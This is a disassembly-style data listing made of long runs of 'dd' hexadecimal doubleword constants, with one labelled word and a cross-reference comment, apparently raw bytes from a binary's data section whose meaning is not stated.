		dd 1B98B77Ah, 74403D00h, 252C444h, 0E6EF1CD6h, 0A038D85Dh
		dd 5500B188h, 285F3DF1h, 6E1C96h, 0A624D83h, 8141C32Ah
		dd 0DCE6DF0Bh, 0F480FF38h, 330253E9h, 1094D325h, 0F20445D4h
		dd 0A4671770h, 331401C8h, 1CA38EF0h, 1D650B71h,	0B180E8D8h
		dd 2605130Eh, 72C93203h, 0BE9A5192h, 0A6161F28h, 7F2D2B7h
		dd 3136E65Ch, 0D4F6DAB3h, 0E300A233h, 0C24D809h, 615FB57Dh
		dd 0C660D141h, 0C3BFC17Eh, 0DD126DC0h, 80D67524h, 5A1FF783h
		dd 2361C820h, 2CD0006Ch, 66570DF8h, 8B024781h, 0C7624085h
		dd 0DA8C405Dh, 0B116007Ah, 0A2D50294h, 2B3E22C2h, 9E52893Fh
		dd 2AF440C9h, 27A90031h, 0A6E12E3h, 3DE89972h, 0A0384400h
		dd 618AC253h, 85F8002Dh, 4EF16FCh, 0C70E9CB8h, 3CA8FDBh
		dd 0F8A1FA44h, 2BA5DC0h, 4C03A9AFh, 0D0501E68h,	41D4E300h
		dd 0CAE0248Ah, 49AF00EEh, 0FE988535h, 0DA00D30Eh, 0CEE773CDh
		dd 25C6D4Fh, 0CF4D26Fh,	3AC00A57h, 3300E8ABh, 596AACAh
		dd 5823F706h, 0EA007093h, 0A7E1FF5Bh, 40051456h, 2E44B54Dh
		dd 94A9BC41h, 0B7F4A010h, 7D8301FFh, 968CB94Ah,	0C9742132h
		dd 2B01C2D1h, 3170C147h, 2AC83903h, 195F8D4h, 0BD528243h
		dd 0DC9EA687h, 44BA304Bh, 0A0CFE02h, 0E0F455E4h, 1DD73B84h
		dd 8097861Dh, 487B815Eh, 1DB06A54h, 4F14E80Fh, 1185DDEAh
		dd 708003FAh, 0FA8DC46h, 8EF817B4h, 24096941h, 0F6742188h
		dd 0B9001978h, 3454E6B8h, 4CE20Ah, 0AEB26CA3h, 8ECB4F43h
		dd 460058EEh, 4B03AECh,	2D8095h, 0DE642BF2h, 134C9F3Ch
		dd 0A323B200h, 811B883Bh
		dd 244D779Eh, 74BB21h, 0BCEC33AFh, 0AC00B117h, 0D2F63186h
		dd 73A8981h, 0E73CC0CEh, 0FC00793Bh, 2932B2Ah, 0A4012E7Dh
		dd 64BA7FE0h, 103053FFh, 44DB60B1h, 0EA705EAh, 8156B03Ah
		dd 2DEC9E45h, 8F0BDFBh,	0E47000B5h, 0AD58667Eh,	0A0EB367h
		dd 80CDC542h, 0D244ADAh, 0FB7200D7h, 20EA5938h,	83A0A3ABh
		dd 9100F3D8h, 0B18E297Ah, 0B4E02379h, 0E4093BBCh, 0A000A017h
		dd 4E6A7CDAh, 3FFC720Fh, 479E00D4h, 273C93Bh, 38F80ABBh
		dd 0FE42B26Fh, 4C6C8780h, 0C774521h, 9C903DECh,	0C01F6F00h
		dd 362D76EBh, 480B0381h, 0E598B20Fh, 3C211BA0h,	1A00BCB0h
		dd 0D190D38Ch, 66EBD9h,	28F15EAEh, 8023E38Dh, 243AF703h
		dd 0B1C5FFA7h, 1FD00B86h, 2A770F91h, 3F2E7867h,	0C8E3ABC6h
		dd 0AF0CF105h, 4C8307A0h, 0D118E091h, 6D8A05F6h, 0C0BFC40Bh
		dd 0FBFF5FC4h, 79810491h, 65C8C929h, 0E4506BFDh, 16754307h
		dd 25AEE1Ch, 217469CCh,	4449300h, 0FB2600BBh, 0EF72E288h
		dd 0A00063F8h, 0BEDB5D0h, 131E0F62h, 40467993h,	69FEDCFCh
		dd 0B5057003h, 4E54CDF1h, 0DEF27CC1h, 0E456C050h, 62ED4557h
		dd 7DDD0400h, 70E01370h, 0EB7B099Fh, 0AC0125E2h, 0E9C3C7BEh
		dd 0D689DC81h, 15445Ch,	8AE737B0h, 582726h, 45F9424Ch
		dd 0E0E4D828h, 0E6ECDA00h, 23F21B9h, 0F7411E1Fh, 1029C3F0h
		dd 53C0177Dh, 7F0F8F31h, 1EB5D645h, 0B8ED61C6h,	128A4398h
		dd 0F04151ECh, 9AC0FBD1h, 75807C20h, 68FF3050h,	890551F9h
		dd 2370AA00h, 0D73A9CBh, 15A4E2Dh, 4D9CB1F0h, 0C02439BCh
		dd 57DD2AB0h, 50D2073Ch, 80B1B655h, 0A8D4DFBh, 12DA0600h
		dd 73D310C4h, 0EF32092Eh, 45007ABCh, 6D1D17B3h,	0D9003BFCh
		dd 0C6F3FA40h, 0BE945Bh, 803CDD0Ch, 59417D30h, 0EB070BF2h
		dd 0A4CF8FF9h, 95A04647h, 0A63097h, 65CA3EF3h, 7BC09A43h
		dd 4B2F504h, 82EBF1DBh,	40E063C5h, 4507BC42h, 4955A90Fh
		dd 0A5737B90h, 277B1Eh,	0BB47829Fh, 8002D6BCh, 0F4C01E0h
		dd 0E9007694h, 94F51976h, 0D43E61h, 0CF575E07h,	18A8A523h
		dd 4EF6791Fh, 0FC0501Dh, 9A4AB064h, 0ACB800C5h,	0B6ECAADFh
		dd 0CD0747BCh, 6C3FD9DAh, 1B448079h, 0FA9F8B1h,	41223017h
		dd 283DC9A2h, 0F8D16461h, 0EE007B0Ch, 0FB46ECD2h, 7287CEh
		dd 92305A36h, 7855D6FCh, 0B2907098h, 8BD7503h, 0EF518E58h
		dd 861A8101h, 94AE030h,	0E0BBD32Dh, 0C2BC4420h,	0FC2C15C1h
		dd 1104C473h, 3600ED40h, 3E246E72h, 446D3000h, 0D667B841h
		dd 0F7FFC6Fh, 726C9717h, 258203D7h, 1480CFB1h, 9F008C6Bh
		dd 9B9AF080h, 3FAF660Fh, 0BA808401h, 0C3608ADDh, 200FEE22h
		dd 80C197E1h, 137533C8h, 160416F1h, 4F4804AAh, 0CDD0E0E8h
		dd 0D99EFC3Ah, 2084868h, 0E09CCF1Bh, 5C9381C0h,	0EA42062Bh
		dd 0F5F94012h, 0D5B0030Bh, 9038310Ch, 7FAA6A00h, 9B954857h
		dd 513E0011h, 9AC4EBBFh, 0F20023F4h, 3D3BBEA8h,	26C5445Dh
		dd 0EF6F3Ch, 0B53EAD84h, 0A801878Dh, 9E9F73C8h,	79ECDD10h
		dd 0B8170709h, 0C0A3C46Dh, 386BA7BDh, 2700CFF4h, 35B5868Eh
		dd 0FF646D9h, 9EC8C389h, 56EE1D20h, 20E04E85h, 0DADEB700h
		dd 0A0A22C35h, 4F9600CFh, 10683195h, 8100BFF6h,	4DCB13CAh
		dd 0FC9358A6h, 0FF54008Bh, 0B331E033h, 24585A7Ch, 3B700EA3h
		dd 0C7E90Bh, 44A6F8F0h,	957300BDh, 79EAC290h, 740043E7h
		dd 71B34F93h, 1C1CE67h,	6CD856ACh, 87D284BDh, 657F75D8h
		dd 21928D90h, 8D63BD88h, 593D1000h, 0F8C202F0h,	9F911764h
		dd 0FF1C40A7h, 848CFA78h, 0AE79407h, 55102B7Eh,	284F9F6Dh
		dd 4D4BCACh, 85C6C747h,	1BFA80F1h, 4500D071h, 0BCD7700Eh
		dd 2E61D340h, 81149814h, 0E96AF97Ch, 2B20FC8Ah,	0E21C15F4h
		dd 5741ABCCh, 629DF3AFh, 4C85BC30h, 0EF01F8A3h,	0D3515B32h
		dd 25C7215h, 0E8E2C08Fh, 86DC600Ch, 0A52041Bh, 0D077AB3Eh
		dd 0BDD8570h, 6B61390Fh, 0C88B80D8h, 0C2C087Dh,	382271E9h
		dd 1B00ED29h, 0FF0E85ADh, 6174A725h, 968918D1h,	2014610Fh
		dd 0FA034488h, 0E85EC5B3h, 0A464B87Fh, 0C613009Dh, 0C0BF9598h
		dd 20EF71E3h, 5B006B64h, 0BB86C769h, 1E9020Bh, 113F9534h
		dd 800EC035h, 49D7E642h, 0AC4EB8h, 82D43D99h, 0EBC1A150h
		dd 0ED0F317Fh, 0A071668Ch, 0EEFFBFD5h, 273000DDh, 0E20667D0h
		dd 11FE1AA0h, 0B362F00h, 0B56EB685h, 0E8DF002Ah, 8793007h
		dd 31010D9Dh, 7A2D547Ch, 0B5C116F9h, 0F1F4EFE1h, 0FA5A268Ch
		dd 9ACC004Dh, 36FD5F48h, 0F9913D01h, 0DCE4468h,	0C0C2AFF1h
		dd 84EED8h, 7408075Eh, 0EBCF733Bh, 3BE64Eh, 0E7C12E88h
		dd 6834C8BAh, 1849006h,	4DDA92D8h, 0ED85CAADh, 651C3073h
		dd 4C81CF4Ah, 0E0317C2Bh, 901FFF4h, 0F47B36C4h,	0CA261480h
		dd 7986634h, 51793200h,	49F10D01h, 9AF4A91h, 0B8448790h
		dd 3CF7B903h, 36B392h, 51618F80h, 4503D346h, 35BBD000h
		dd 2C49A0F0h, 0A37E04A1h, 80F6E06Ah, 9C959694h,	0EDDBE703h
		dd 0D06C103Fh, 2C8520EBh, 1C04A2D1h, 0A344258h,	98C02EC7h
		dd 6F3FB323h, 6AF05047h, 9ABA5E00h, 7D790E66h, 0A8D800F4h
		dd 0C6F86E5Dh, 7339FABCh, 0D20C00B1h, 9EDC5B04h, 0C8072C18h
		dd 50F4008Ah, 6808326Fh, 0A72844E8h, 5200D8A1h,	0DA36B0E3h
		dd 3B1AC715h, 739CBE8Fh, 6EB940EFh, 88D9B7C3h, 0FD00DF98h
		dd 0CD8D46D7h, 0A3C829h, 0F73F4F9Ah, 1A12119Eh,	0AE14BE76h
		dd 9D8B03Dh, 20C7A683h,	5C66F1C8h, 0B80095ECh, 0F5EADF9Eh
		dd 0E109ACA1h, 4AF8342Fh, 0ED03F598h, 4C054341h, 4245D05Dh
		dd 71A1E21Ch, 0A4B001EBh, 8EFF8806h, 14C4207Fh,	2CAF3305h
		dd 16C042C2h, 245F150Eh, 0E5C2B3Ah, 0DD20FE28h,	0D3503C55h
		dd 6354B10Fh, 54B0B3EEh, 1B2F000Bh, 3553C62Ah, 0F31F8074h
		dd 0D0C06A7Dh, 12C9069Eh, 0B0DFE048h, 0EA5E0008h, 0F3DAC8D7h
		dd 0AA5CF9A1h, 0A47C7A59h, 0B001E7Fh, 99758B71h, 0D2686Eh
		dd 3657B4ADh, 4927A8A9h, 5A0A6A1Fh, 0C491754Fh,	17C0AC12h
		dd 0A4659Dh, 86ED7DBEh,	148F3EFAh, 5953F300h, 4BB78D7Bh
		dd 0DDC20109h, 10AB69Fh, 74428E2h, 0AA6D87F4h, 6379C840h
		dd 75C003D4h, 1DBC3A4Dh, 0F8828AC1h, 50FC8F15h,	1F562109h
		dd 240C0032h, 9F7F39Dh,	60957DDFh, 0B785A4E8h, 0A6CC6F12h
		dd 492090C7h, 25E23EB2h, 0FCC096F9h, 0D89C3820h, 0F751003Ch
		dd 0EF2BEB76h, 0A9541774h, 0AEE005ECh, 0C32CC75Dh, 34F27707h
		dd 80F1F870h, 6BC87030h, 0BE0A049h, 24802E85h, 66558900h
		dd 0D50B11DBh, 8EE983A3h, 0F67EC136h, 0CF82378h, 6BEC3FA1h
		dd 0AF520AF1h, 84678Ch,	3C8562D5h, 0EC36D90Ch, 2A12021h
		dd 0E876EFA9h, 6080CCE3h, 4B9CD1BEh, 0DC146A55h, 0E5038F8Bh
		dd 68F358A9h, 0BCA888F7h, 4FF60916h, 3700A5D9h,	7CF97935h
		dd 0C30061ECh, 0E95C9505h, 0E0AC974h, 342DAABBh, 1FC6B440h
		dd 179888AEh, 0E72E2F78h, 0C407339Fh, 1E4F8DEDh, 7290E940h
		dd 9E3BABh, 0D92895B6h,	880996E3h, 9403EF70h, 0B848A915h
		dd 7AB4C046h, 0A07039F7h, 96C7F387h, 0D53C70F1h, 4009CADh
		dd 0A72F5E9Ah, 26EE8214h, 5BB8A5h, 3CA4268Ah, 41587417h
		dd 0B93AFAh, 0B24081F3h, 0E360239Dh, 27E0D8h, 0A7787196h
		dd 2FD752BEh, 98885398h, 6500721Bh, 9CB9B326h, 7423200Ch
		dd 0C3734B89h, 65A82C00h, 483F761Fh, 0BA33017Bh, 0D9261B58h
		dd 0A0E77B31h, 9CC9BED1h
		dd 1C288060h, 91EBABD3h, 79C73019h, 1E25020h, 4810D755h
		dd 6504DF40h, 8921B24Bh, 0E438FB2Ch, 0FD5BE65h,	61B3DA83h
		dd 0D927E62Ch, 820760BAh, 0A8B8BED0h, 0DC601544h, 0B2295465h
		dd 791170E9h, 65E52A01h, 0D8467CCEh, 9C603F8Eh,	1B50BF50h
		dd 4C68DCB9h, 0A8312084h, 9045814h, 54A92680h, 0B3E0603Eh
		dd 0CE126748h, 4C1EF218h, 6D29CCB0h, 91D5C300h,	0CD4004C1h
		dd 2D78B3h, 27413D2Ah, 6EF4A454h, 56B06900h, 3C1CC8E8h
		dd 2D52F681h, 1CD06BA1h, 434AEF07h, 71A07889h, 54C160Dh
		dd 0B052E0CAh, 0E0B2C71Fh, 30C9440Fh, 82F2EA00h, 95F63EDAh
		dd 5A0B008Bh, 0A1B7674Ah, 0B8006936h, 42E0AC10h, 2612632Ah
		dd 13D613h, 0C19411B7h,	2678B63Dh, 50392200h, 0EA62875h
		dd 0BBE6005Bh, 58F5C4FBh, 0C9003A78h, 0E4B734A4h, 0D5A1E1h
		dd 6571BC68h, 84351290h, 0B3C2F100h, 85CF1B53h,	1E9805FAh
		dd 0C08CBC18h, 0F8132F42h, 8624C5F0h, 47001933h, 91080F9Ch
		dd 0B24F0E09h, 0E662A7E4h, 2560018Eh, 0CB07EA45h, 2593E541h
		dd 0DD92E480h, 122D00D3h, 0B35B9DF4h, 0AD07221Dh, 0CB361B08h
		dd 0FC56F780h, 0F69B01A3h, 1153EA4Ah, 16D09426h, 0C3B8AB04h
		dd 0D82F4B01h, 14D0F622h, 19B0304Bh, 0F7CD7D3h,	0EA72FBFCh
		dd 0D9FF2400h, 1DED3FF7h, 0D3220028h, 0DC461EFDh, 7918E4F2h
		dd 4D2994A6h, 342288FEh, 88DE9A88h, 7189970Dh, 7E456108h
		dd 3710DDD1h, 0A581F420h, 235022D2h, 0C4233224h, 4EC948B4h
		dd 56907F68h, 904FB088h, 4A6A1984h, 451F642Ah, 856129B2h
		dd 2808E778h, 4FD4428Eh, 0F59522h, 9015135Ch, 9B864Ch
		dd 5E33A544h, 54E2B9h, 186ACD89h, 1DADC6C8h, 0DE56C500h
		dd 4A840426h, 0B20D0065h, 0FDA15A40h, 73008B92h, 0ACB03749h
		dd 147EE18h, 0DBAF44C7h, 601F4D09h, 0D7006FA6h,	0D8851942h
		dd 1F9CE5Fh, 39F0E091h,	80BA532Ah, 552E1D72h, 469E92h
		dd 7A0F03DEh, 58915060h, 0C0177B00h, 675DB382h,	4C630043h
		dd 7D02B740h, 6C01DE75h, 71CC1C55h, 0C24F676h, 2A0A006Bh
		dd 0C57B08CDh, 13004B5Bh, 7A859888h, 7D4A3Ch, 0B1F6D872h
		dd 0E6B3D55h, 8A776801h, 0A5085E1Fh, 90A46EDCh,	0B026002Ch
		dd 541BE263h, 0FA00EBBFh, 0EC0A24Ah, 0C55717h, 68CBD8C1h
		dd 90C74256h, 948A5200h, 0B31C767Ch, 0AF0EC011h, 0C78F946h
		dd 9D5FA800h, 2308D9ADh, 742100D1h, 65D7E3Eh, 0EFE21E6Fh
		dd 0BC5BE907h, 0FCE0A884h, 189F74Fh, 5E8057A1h,	0E0B59495h
		dd 0B61306C9h, 0A0AE327Ah, 2C0051F5h, 4B29D084h, 0FA19578h
		dd 3E8E7C0Ch, 0D2B2C000h, 0AA008036h, 0B4C24EF4h, 166FB49h
		dd 0CE3E2E62h, 0CC54F796h, 38F44142h, 0AA077FFAh, 7CBB84F1h
		dd 0A4407BE1h, 0C2703EF3h, 31A6E180h, 0A997106Ah, 80E4439Fh
		dd 2FD70h, 7B91F4DDh, 91BC2B8h,	113C2200h, 886D15EDh, 0AA5500F6h
		dd 0D9313A59h, 300F45Eh, 2C0EA2E9h, 49C34Eh, 307C25DBh
		dd 9248B7D7h, 0FDCB1800h, 0CCAE4B6Dh, 0D5E011Eh, 21A94628h
		dd 0FEF847F4h, 715827C1h, 0D4EDEDF7h, 6777E6DDh, 542BAD00h
		dd 0A928ED5h, 90751F12h, 0EF7043CAh, 15F8A31Dh,	7B00304Bh
		dd 0D53A8409h, 247CF614h, 368948Bh, 0C310AEAFh,	61714BF8h
		dd 20C0D4A0h, 720091E4h, 6A4CDCD1h, 7AB077Bh, 1AC3DD93h
		dd 956440AEh, 0F91C99B5h, 0E740A4D8h, 149771F8h, 0F884547Dh
		dd 380F0E62h, 3A20BE23h, 0B510F34Bh, 5A00C2FCh,	9BDB0893h
		dd 0F8239503h, 0FFA200B0h, 58348890h, 0D600545Bh, 0C58A935Eh
		dd 1CB9170h, 0B8F64569h, 80980A46h, 0F97CE064h,	2A4DCAEh
		dd 0BA3726BBh, 6760CFE6h, 949051C2h, 868CD300h,	7239C4C7h
		dd 0C3DC0103h, 7B389AA9h, 8017F5BBh, 0C7E521D9h, 3EAE7EF3h
		dd 32800EFEh, 2E263470h, 15001CE1h, 3D61D2C2h, 0C0B59Ah
		dd 4D1264E3h, 3FC4A503h, 77AA6C00h, 0FA6AD759h,	63B00D2h
		dd 6B81F3ACh, 0F3A0279h, 0C8FD9ED9h, 1A7282C0h,	0CEFC48h
		dd 0EFB39722h, 80CB60E7h, 8712B200h, 38B6F25Fh,	231E2CEh
		dd 9D09623Fh, 6C6044C3h, 0D1008677h, 0C2D9C06Eh, 1D89D6A0h
		dd 0C04216F7h, 12CC262Fh, 744C18E1h, 28410041h,	0F3837D84h
		dd 9C6D006Eh, 0CA992EB1h, 35008C98h, 0D90A5157h, 487705F0h
		dd 5500523Dh, 9E8F79B2h, 0FE005ADFh, 6684A16h, 0FA5CA048h
		dd 577E0A80h, 1F475AFh,	2A347FCFh, 96E88E6Dh, 7AC0BFB6h
		dd 644939Dh, 0A3820054h, 0ACF0DBA1h, 790398FCh,	6A7F8714h
		dd 0A11FCB52h, 9040EB62h, 954181h, 0A777653Bh, 6D8F72B5h
		dd 3200F1FEh, 86B12729h, 0FA9A396h, 0BA38A8D7h,	99FD74C0h
		dd 0A4005D5Ah, 68D027A5h, 94C585h, 7F83CB2Fh, 8A79FBD8h
		dd 8EE60600h, 3399B36Ah, 0C4EC2471h, 8D318014h,	6CACCDDFh
		dd 0DD248604h, 88906580h, 1F6AEA82h, 5B419Dh, 248DE3D6h
		dd 0DB0973CAh, 80209BC5h, 0D4B952B8h, 29F52010h, 0EB00C877h
		dd 0DEA2BB71h, 602BDE1h, 94ECF84Eh, 4400A019h, 0FAC32FD6h
		dd 18397C20h, 91E39C71h, 0F0009A1h, 135B25C2h, 0DD1012h
		dd 871C44D5h, 3099929Eh, 0B577EB00h, 0EA57E00Ah, 355A4C09h
		dd 8AD1A700h, 7F89DFFCh, 300B9105h, 3080C1A9h, 1095A892h
		dd 60434031h, 9F3C5A6Ah, 30B01Fh, 0BEFD363Eh, 1AC59C3Bh
		dd 0AC858239h, 0E98114CDh, 0E2CAE710h, 0A5ECA7C9h, 1B5300E5h
		dd 681C039h, 0C49DC09h,	286001A8h, 5841E050h, 0B0D56695h
		dd 4D51AD00h, 6449CA3Ah, 7A13988h, 54465E66h, 959CF0F4h
		dd 0E70C2378h, 50A58873h, 556D3AFCh, 19AB700h, 367C543Bh
		dd 2F07DE0h, 81581348h,	354D3243h, 4C1B421h, 9874ABC4h
		dd 957900B8h, 6D53E382h, 6F26D3FCh, 8503DF4Fh, 888EA0A9h
		dd 8FC087h, 0DF087337h,	0B09BAE8Ah, 0E876D700h,	14B14DACh
		dd 54290F0Eh, 0E9239C99h, 35D0DB22h, 72772C1Ah,	0F08C9604h
		dd 1C0601Bh, 3B3CA953h,	3E85D0EEh, 36125Bh, 0F122FCA4h
		dd 1D02A585h, 9499C435h, 0FE0660DEh, 0A379001Bh, 88B8283Eh
		dd 440003BCh, 206E9BC0h, 0FAABC634h, 0FBE500F3h, 0D125BDE9h
		dd 9006FCAh, 0D8066B40h, 97EF2B1h, 7315655Ah, 0A41C1181h
		dd 0E7B4408Eh, 0B6005EA2h, 513A2DACh, 12942Bh, 8F1F9573h
		dd 0CA2F4401h, 36DFBA00h, 2302FE86h, 15B04Bh, 525116CCh
		dd 4904337h, 0B748B100h, 0BA4F9666h, 39D60038h,	0F20E8718h
		dd 8201503Ch, 7C1FAD32h, 0F4E4F156h, 2E547C36h,	0C1E08A4h
		dd 7A19D410h, 257EA501h, 0AAD6EA4Ch, 935230h, 52C5ABB8h
		dd 0B0B2141Ch, 0F900E27Ah, 2B4AD3C1h, 902A0F13h, 19821DEEh
		dd 0B2EC80D2h, 0E7750C6Bh, 8010C23Bh, 0F25D2F5Ah, 3F3EC7h
		dd 0CA98D691h, 7AA89BE5h, 85510500h, 7C9DFE9Fh,	37141DDCh
		dd 0CE9F393Ch, 8A6F8E42h, 0C6480B40h, 693975EAh, 0BB7F0496h
		dd 68806D21h, 0FA1D166h, 958049B1h, 4E418B20h, 0DC03C433h
		dd 0D4B54F1Dh, 0DFF6D8D6h, 5838F0D1h, 93024FEAh, 0C094782Bh
		dd 1D417240h, 0A34DD900h, 489F506Dh, 0C6AD39F1h, 9390F7h
		dd 805AA281h, 1E99BBDFh, 0B58E0807h, 4AA0A38Ch,	62E1EEh
		dd 7E3794DAh, 216105D8h, 87345500h, 0C0E07966h,	0ACAB1C70h
		dd 0AB2EADh, 3BA99F16h,	8A00EEB6h, 0CC409E67h, 77C22DDh
		dd 1FA0EC0Ch, 3CDEC01Ah, 76B88C06h, 72CC4800h, 5D87201Dh
		dd 17BE0E19h, 0DE40118Bh, 96133458h, 0AE9C5Ch, 2AB29E23h
		dd 0C813C5Fh
		dd 0A2B80EDCh, 0C6004E10h, 253F8EEDh, 14552Fh, 0A90278ABh
		dd 6ABC865Eh, 0DD083003h, 0B01EB9C7h, 1D46A181h, 40437275h
		dd 0ACBFE4D7h, 170022F4h, 0CE80C983h, 70629EEFh, 2A2C3FDEh
		dd 0F7D19A00h, 95B1D35Bh, 0A8B51E17h, 0AF57CB0Fh, 51F6066h
		dd 70F13844h, 0C2C0005Ch, 657A187Bh, 87F43AC1h,	0C9786F00h
		dd 0AE58D139h, 8AFA6Eh,	0D90CF146h, 16981CA4h, 0E4517F12h
		dd 12952501h, 0D0D88F5Ch, 0CE4B0040h, 38102589h, 1800028Ah
		dd 91E5A136h, 7958E26Ch, 1F5700D8h, 5E2A210Bh, 0FCE163EBh
		dd 0AE00394Eh, 0DA031226h, 0D855E8h, 292D2F58h,	737BD7DFh
		dd 1F5D1600h, 0F187FF38h, 0EAA2000Eh, 0F9329AAh, 0D5002C12h
		dd 13CBA63Ch, 0B6A5FCh,	7B7666B4h, 5D25BE46h, 50876A00h
		dd 7D621407h, 2677DBh, 719E44D2h, 9C08B41h, 23D9B80Fh
		dd 0D30EB284h
		db 0DAh, 40h
word_4D4152	dw 477Dh		; DATA XREF: ___:off_42E644o
		dd 0F027A757h, 771F17F1h, 0D2A700D5h, 8BF8E508h, 0FF28B82Eh
		dd 93561301h, 0D370D1DCh, 0B9973ECEh, 0E70FAFFh, 3E782739h
		dd 0A0E812C6h, 31C22600h, 52142B9Ch, 5E942585h,	24608460h
		dd 0C19EEC00h, 12EE3E7Ch, 0BF8A0270h, 0E091756Eh, 0B63240D7h
		dd 0EBB7A018h, 786D0032h, 1EF00774h, 0F90790F6h, 7280FC51h
		dd 0E2D49990h, 13DC0734h, 70AB79A3h, 1C623A90h,	0DDC05D00h
		dd 0EA0AEBF6h, 71EE0AA6h, 0F41120h, 54B8DCE0h, 7E00A026h
		dd 30169912h, 4CCD3D2h,	2514BF44h, 0F759C7D9h, 3532700Eh
		dd 68008D91h, 0E4CC5467h, 10F6CABh, 0F75AEE2Dh,	40C2FC6Fh
		dd 3FD122F4h, 2145FD01h, 0C3696117h, 2EA1E0h, 1B8332Ch
		dd 8D1D63C0h, 0F308FF00h, 4E600D47h, 0BB40058h,	0ADF52B3Dh
		dd 0AF00C43Bh, 0E4281099h, 1EF0D071h, 6C41F686h, 8DE7003Ah
		dd 1599E336h, 0D5C2F500h, 0ABF3CC03h, 3BFA0088h, 715826C7h
		dd 9502EAB0h, 4A49592Ah, 0E52DCB2h, 26BE469Eh, 5F1D006Bh
		dd 6D40ECE5h, 0EA881A00h, 4FA172C6h, 0E62D48B9h, 29A40400h
		dd 0CCD9D3B7h, 63F3032Fh, 0B9108009h, 9BE600C3h, 58AF12D4h
		dd 290E9FFAh, 40A388E2h, 7E08E767h, 2828C00Fh, 18E4A6D1h
		dd 0FA711600h, 3A501BCBh, 23460F9Bh, 69E0CE6Ch,	5A9DDE35h
		dd 0A220D912h, 0E3AB4C00h, 0E67656E5h, 2A920059h, 3AD893F3h
		dd 1A00D15Eh, 411572A2h, 0A01D5DB3h, 49528089h,	0A348E0EAh
		dd 0DA83A409h, 608AE001h, 5766F4DCh, 11A77900h,	0A0736EBh
		dd 1FE87CD9h, 0CAA51321h, 0BBC3956h, 807D1563h,	23BB5A0Eh
		dd 0D65E0048h, 951D9141h, 3F007E5Dh, 50FE6AAFh,	9839C3h
		dd 4C22BC52h, 0F22D2ADEh, 0BB008173h, 0C51037AAh, 0ECA1F854h
		dd 5150EEDh, 0FE042E6h,	0FE1627A3h, 5EACBD00h, 9A2D80DAh
		dd 67391D18h, 0D8A9C0C0h, 1B56E102h, 51A04B00h,	0B4155D5Fh
		dd 0CA2E30E4h, 688F13CAh, 42569500h, 9A24F69Bh,	0C4610E62h
		dd 0FDE01E5Bh, 0EE681A6Bh, 4183E516h, 0AE63BB00h, 4CABB955h
		dd 7748A2h, 0FB04FA9h, 10AAE398h, 8EA3643Fh, 40C1CC6Fh
		dd 0D95EA83Bh, 0A255007Dh, 0CA41A091h, 0ADE4191Ch, 0B9D4E81Eh
		dd 6244F100h, 1BF98CCh,	0B5DB792Dh, 20C12122h, 0D87D26B2h
		dd 7ED69700h, 625FBA60h, 4C30E58Ch, 0C4544413h,	8E0B4610h
		dd 96855F0Fh, 0F0B3B9A2h, 6A5AAC48h, 0D6993Eh, 3426C93Bh
		dd 0FE9EE9EFh, 5DAC00FDh, 446ADA81h, 0C10C6203h, 5EE793DDh
		dd 6D530008h, 0E1763048h, 440043EDh, 269B40F6h,	77B538h
		dd 0B3D62C68h, 0D0A59AC3h, 0F694EA0Eh, 0A3E26715h, 0E8C00684h
		dd 71D441E3h, 0F2EB600Eh, 0B617282Bh, 56B8DA03h, 0FBA41551h
		dd 48008716h, 0FAEC711h, 464754DDh, 45718AE0h, 25601231h
		dd 0A6B4A8F0h, 1F5EFAFFh, 47B31662h, 0F09FC828h, 8A5D5BAAh
		dd 26115500h, 2A96AEBFh, 7E2500FEh, 89D6313Eh, 1824A0D4h
		dd 0D20020CEh, 514D7D6Eh, 6885009Ch, 86B187EAh,	1A01AAFCh
		dd 0A39EC144h, 8EC8DA97h, 0BCEA2E80h, 409C1C27h, 0E1053552h
		dd 1C00CBD4h, 0F374BA11h, 0B2F0Fh, 0B19EAA16h, 93872AA9h
		dd 669CB600h, 0FC1FAFE0h, 2A84E68Ah, 48E05F03h,	0B276EA14h
		dd 80AA612Ch, 0F0AD373Eh, 0E7E487B9h, 3C7259h, 0A6A8935Bh
		dd 0B8E91513h, 63640576h, 28FEC28h, 0E6E25F80h,	0E0D8805Fh
		dd 2AB369h, 137A3A22h, 0D33FE765h, 0F06AD407h, 8C339CBDh
		dd 7956889Bh, 0FBE200D7h, 0F5429D36h, 0F590518Ah, 98D6C400h
		dd 0A8FE06EDh, 0E172BEh, 0CCD7B430h, 60AF6CD9h,	9503B700h
		dd 3E1690ECh, 0A0D20FD8h, 5EE92C4h, 6858D9D8h, 9491200h
		dd 3CB6947Bh, 3F1C08C5h, 1605A5B7h, 884080F1h, 72ADFDBCh
		dd 0DEFE0011h, 92DB51EFh, 5B494075h, 70243C60h,	5C8F9900h
		dd 98FFC88Dh, 6D1502EEh, 0A1DF601Bh, 0BF233E60h, 5CE78918h
		dd 888458h, 392B1E5Ah, 0FBF0D286h, 0ABE2BC00h, 99AA0EB0h
		dd 6D0A0E45h, 0EF93D452h, 3B9A14h, 0C7728877h, 0A78468h
		dd 7ECD2007h, 0E5ACB2D4h, 0CC481C90h, 6FC7006Ah, 0FB27AE08h
		dd 0B7EA8Bh, 24097B87h,	9741BFDAh, 3146762Eh, 0B8770600h
		dd 1CFE1Bh, 0EBC54F64h,	0FDD1A89Dh, 0B57E400h, 2E802747h
		dd 567E81h, 690CC9B5h, 0B8FD098Dh, 0CDE8C706h, 0D85B6Bh
		dd 351CFBB3h, 0B1758AEEh, 0B8B07C50h, 0ED8C8713h, 43AD6000h
		dd 67EA61h, 0A87A0C70h,	97DB454Fh, 158CC800h, 1168C9EEh
		dd 57710066h, 0B1F8A825h, 50003D2Ch, 7FC541B9h,	0F464F2h
		dd 81DA80EFh, 210118C3h, 3AE24300h, 9BD27F4Bh, 0E0A550F8h
		dd 2240008h, 0E6480D0Bh, 0F0041D1h, 0D4868B58h,	1F9F76Ch
		dd 34DC212Dh, 281C24C6h, 0DD350054h, 0B74AE1Eh,	9B30043h
		dd 0CFA28655h, 9B5CA497h, 795A0618h, 12F1FCD6h,	0CAA528h
		dd 0DBB95908h, 98002C54h, 5351DCA8h, 7CE469h, 5B9F0472h
		dd 32EF050Bh, 38548000h, 878D0CF0h, 4B061723h, 80261FACh
		dd 0B4D4F370h, 0CD0B414Ch, 3D8C5h, 9401ECF3h, 25CF1D4Fh
		dd 0F78C07Bh, 9E8223A2h, 0B1096DF6h, 802FC7BBh,	0EB75684h
		dd 0CA630030h, 35B66F88h, 6400AAB4h, 0DC5CE4C5h, 779D3D3Ah
		dd 0F652006Ch, 935A8561h, 0B60027A0h, 39CBB0C9h, 50B1DA1h
		dd 0AC7C755Dh, 40AC5C2Ch, 1C99FE20h, 7D00B28Ch,	47C4EA5Dh
